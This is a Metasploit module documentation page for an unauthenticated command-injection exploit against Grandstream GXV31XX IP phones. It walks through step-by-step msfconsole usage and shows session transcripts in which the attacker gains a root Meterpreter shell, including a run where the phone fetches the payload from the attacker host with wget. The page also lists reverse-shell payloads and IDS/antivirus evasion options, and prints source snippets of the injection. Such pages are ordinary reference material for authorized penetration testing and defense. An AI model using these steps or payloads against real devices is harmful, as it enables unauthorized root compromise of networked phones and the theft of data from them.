Grandstream GXV31XX 'settimezone' Unauthenticated Command Execution - Metasploit


This page contains detailed information about how to use the exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Grandstream GXV31XX 'settimezone' Unauthenticated Command Execution
Module: exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec
Source code: modules/exploits/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec.rb
Disclosure date: 2016-09-01
Last modification time: 2022-01-29 19:38:57 +0000
Supported architecture(s): -
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-10655

This module exploits a command injection vulnerability in Grandstream GXV31XX IP multimedia phones. The 'settimezone' action does not validate input in the 'timezone' parameter allowing injection of arbitrary commands. A buffer overflow in the 'phonecookie' cookie parsing allows authentication to be bypassed by providing an alphanumeric cookie 93 characters in length. This module was tested successfully on Grandstream models: GXV3175v2 hardware revision V2.6A with firmware version 1.0.1.19; and GXV3140 hardware revision V0.4B with firmware version 1.0.1.27.

Module Ranking and Traits


Module Ranking:

  • great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


msf > use exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec
msf exploit(grandstream_gxv31xx_settimezone_unauth_cmd_exec) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


This module exploits a command injection vulnerability in Grandstream GXV31XX IP multimedia phones. The 'settimezone' action does not validate input in the 'timezone' parameter allowing injection of arbitrary commands.

A buffer overflow in the 'phonecookie' cookie parsing allows authentication to be bypassed by providing an alphanumeric cookie 93 characters in length.

This module was tested successfully on Grandstream models:

  • GXV3175v2 hardware revision V2.6A with firmware version 1.0.1.19; and
  • GXV3140 hardware revision V0.4B with firmware version 1.0.1.27.

Verification Steps


  1. msfconsole
  2. use exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec
  3. set rhosts [IP]
  4. set target [target]
  5. run
  6. You should get a session

Scenarios


Grandstream GXV3140

msf6 > use exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec
[*] Using configured payload linux/armle/meterpreter_reverse_tcp
msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set rhosts 10.1.1.111
rhosts => 10.1.1.111
msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > run

[*] Started bind TCP handler against 10.1.1.111:4444
[*] Command shell session 1 opened (10.1.1.112:36769 -> 10.1.1.111:4444 ) at 2022-01-29 02:30:13 -0500


Shell Banner:
_!_
-----


/ # uname -a
uname -a
Linux gxv3140_000b8229ac36 2.6.10_gxv31xx #15 Tue Jul 16 11:07:04 CDT 2013 armv5tejl unknown
/ #

Grandstream GXV3175v2

msf6 > use exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec
[*] Using configured payload linux/armle/meterpreter_reverse_tcp
msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set rhosts 10.1.1.109
rhosts => 10.1.1.109
msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set lhost 10.1.1.110
lhost => 10.1.1.110
msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set target 1
target => 1
msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > run

[*] Started reverse TCP handler on 10.1.1.110:4444 
[*] Using URL: http://0.0.0.0:8080/JF62dexHKN8b
[*] Local IP: http://10.1.1.110:8080/JF62dexHKN8b
[*] Client 10.1.1.109 (Wget/1.10.1) requested /JF62dexHKN8b
[*] Sending payload to 10.1.1.109 (Wget/1.10.1)
[*] Command Stager progress - 100.00% done (115/115 bytes)
[*] Meterpreter session 1 opened (10.1.1.110:4444 -> 10.1.1.109:39371 ) at 2022-01-08 13:27:44 -0500

meterpreter > getuid
Server username: root
meterpreter > sysinfo 
Computer     : 10.1.1.109
OS           :  (Linux 2.6.32_gxv3170v2)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : armle/linux
meterpreter >

Go back to menu.

Msfconsole Usage


Here is how the linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec

[*] Using configured payload cmd/unix/bind_busybox_telnetd
msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > show info

       Name: Grandstream GXV31XX 'settimezone' Unauthenticated Command Execution
     Module: exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec
   Platform: Unix, Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2016-09-01

Provided by:
  alhazred
  Brendan Scarvell
  bcoles <[email protected]>

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Linux (cmd)
  1   Linux (ARMLE)

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Meta
                                      sploit
  RPORT    80               yes       The target port (TCP)
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local
                                       machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)
  VHOST                     no        HTTP server virtual host

Payload information:

Description:
  This module exploits a command injection vulnerability in 
  Grandstream GXV31XX IP multimedia phones. The 'settimezone' action 
  does not validate input in the 'timezone' parameter allowing 
  injection of arbitrary commands. A buffer overflow in the 
  'phonecookie' cookie parsing allows authentication to be bypassed by 
  providing an alphanumeric cookie 93 characters in length. This 
  module was tested successfully on Grandstream models: GXV3175v2 
  hardware revision V2.6A with firmware version 1.0.1.19; and GXV3140 
  hardware revision V0.4B with firmware version 1.0.1.27.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-10655
  https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=23920
  https://github.com/dirtyfilthy/gxv3175-remote-code-exec/blob/master/modules/exploits/linux/http/grandstream_gxv3175_cmd_exec.rb

Module Options


This is a complete list of options available in the linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec exploit:

msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > show options

Module options (exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Met
                                       asploit
   RPORT    80               yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the loca
                                       l machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host

Payload options (cmd/unix/bind_busybox_telnetd):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   LOGIN_CMD  /bin/sh          yes       Command telnetd will execute on connect
   LPORT      4444             yes       The listen port
   RHOST                       no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Linux (cmd)

Advanced Options


Here is a complete list of advanced options supported by the linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec exploit:

msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > show advanced

Module advanced options (exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec):

   Name                    Current Setting                  Required  Description
   ----                    ---------------                  --------  -----------
   CMDSTAGER::DECODER                                       no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto                             no        The CMD Stager to use. (Accepted: auto, wget)
   CMDSTAGER::SSL          false                            no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                          no        Writable directory for staged files
   ContextInformationFile                                   no        The information file that contains context information
   DOMAIN                  WORKSTATION                      yes       The domain to use for Windows authentication
   DigestAuthIIS           true                             no        Conform to IIS, should work for most servers. Only set
                                                                       to false for non-IIS servers
   DisablePayloadHandler   false                            no        Disable the handler code for the selected payload
   EXE::Custom                                              no        Use custom exe instead of automatically generating a p
                                                                      ayload exe
   EXE::EICAR              false                            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                            no        Use the default template in case the specified one is
                                                                      missing
   EXE::Inject             false                            no        Set to preserve the original EXE function
   EXE::OldMethod          false                            no        Set to use the substitution EXE generation method.
   EXE::Path                                                no        The directory in which to look for the executable temp
                                                                      late
   EXE::Template                                            no        The executable template file name.
   EnableContextEncoding   false                            no        Use transient context when encoding payloads
   FingerprintCheck        true                             no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                        no        HTTP connection and receive timeout
   HttpPassword                                             no        The HTTP password to specify for authentication
   HttpRawHeaders                                           no        Path to ERB-templatized raw headers to append to exist
                                                                      ing headers
   HttpTrace               false                            no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                          no        HTTP request and response colors for HttpTrace (unset
                                                                      to disable)
   HttpTraceHeadersOnly    false                            no        Show HTTP headers only in HttpTrace
   HttpUsername                                             no        The HTTP username to specify for authentication
   ListenerComm                                             no        The specific communication channel to use for this ser
                                                                      vice
   MSI::Custom                                              no        Use custom msi instead of automatically generating a p
                                                                      ayload msi
   MSI::EICAR              false                            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                no        The directory in which to look for the msi template
   MSI::Template                                            no        The msi template file name
   MSI::UAC                false                            no        Create an MSI with a UAC prompt (elevation to SYSTEM i
                                                                      f accepted)
   SSLCipher                                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "
                                                                      ADH"
   SSLCompression          false                            no        Enable SSL/TLS-level compression
   SSLVersion              Auto                             yes       Specify the version of SSL/TLS to be used (Auto, TLS a
                                                                      nd SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL
                                                                      23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                            no        Return a robots.txt file if asked for one
   URIHOST                                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                                  no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/5.0 (Macintosh; Intel M  no        The User-Agent header to use for all requests
                           ac OS X 12_2_1) AppleWebKit/605
                           .1.15 (KHTML, like Gecko) Versi
                           on/15.2 Safari/605.1.15
   VERBOSE                 false                            no        Enable detailed status messages
   WORKSPACE                                                no        Specify the workspace for this module
   WfsDelay                2                                no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/bind_busybox_telnetd):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand  pkill telnetd    yes       A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript
                                                          )
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec module can exploit:

msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux (cmd)
   1   Linux (ARMLE)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec exploit:

msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_inetd                                  normal  No     Unix Command Shell, Bind TCP (inetd)
   3   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   4   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   5   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   6   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   7   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   8   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   9   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   10  payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   11  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   12  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   13  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   14  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   15  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   16  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   17  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   18  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   19  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   20  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   21  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   22  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   23  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   24  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   25  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   26  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   27  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   28  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   29  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   30  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   31  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   32  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   33  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   34  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   35  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   36  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   37  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   38  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   39  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   40  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   41  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   42  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   43  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   44  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   45  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   46  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   47  payload/generic/custom                                       normal  No     Custom Payload
   48  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   49  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline
   50  payload/generic/ssh/interact                                 normal  No     Interact with Established SSH Connection

Evasion Options


Here is the full list of possible evasion options supported by the linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunke
                                                            d"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accep
                                                            ted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accep
                                                            ted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and versio
                                                            n
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Acce
                                                            pted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes,
                                                            hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

phonecookie authentication bypassed successfully.


Here is a relevant code snippet related to the "phonecookie authentication bypassed successfully." error message:

92:	      'action' => 'settimezone',
93:	      'timezone' => ''
94:	    )
95:	
96:	    if res && res.code == 200 && res.body.to_s.include?('Response=Success')
97:	      return CheckCode::Detected('phonecookie authentication bypassed successfully.')
98:	    end
99:	
100:	    CheckCode::Safe
101:	  end
102:	

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

104:	    res = send_manager_request(
105:	      'action' => 'settimezone',
106:	      'timezone' => "`#{cmd}`"
107:	    )
108:	    unless res
109:	      fail_with(Failure::Unreachable, 'Connection failed')
110:	    end
111:	    unless res.code == 200
112:	      fail_with(Failure::UnexpectedReply, "Unexpected reply (HTTP #{res.code})")
113:	    end
114:	    unless res.body.to_s.include?('Response=Success')

Unexpected reply (HTTP <RES.CODE>)


Here is a relevant code snippet related to the "Unexpected reply (HTTP <RES.CODE>)" error message:

107:	    )
108:	    unless res
109:	      fail_with(Failure::Unreachable, 'Connection failed')
110:	    end
111:	    unless res.code == 200
112:	      fail_with(Failure::UnexpectedReply, "Unexpected reply (HTTP #{res.code})")
113:	    end
114:	    unless res.body.to_s.include?('Response=Success')
115:	      fail_with(Failure::UnexpectedReply, "Unexpected reply (#{res.body.length} bytes)")
116:	    end
117:	  end

Unexpected reply (<RES.BODY.LENGTH> bytes)


Here is a relevant code snippet related to the "Unexpected reply (<RES.BODY.LENGTH> bytes)" error message:

110:	    end
111:	    unless res.code == 200
112:	      fail_with(Failure::UnexpectedReply, "Unexpected reply (HTTP #{res.code})")
113:	    end
114:	    unless res.body.to_s.include?('Response=Success')
115:	      fail_with(Failure::UnexpectedReply, "Unexpected reply (#{res.body.length} bytes)")
116:	    end
117:	  end
118:	
119:	  def exploit
120:	    if target.arch.first == ARCH_CMD

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References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • alhazred
  • Brendan Scarvell
  • bcoles

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

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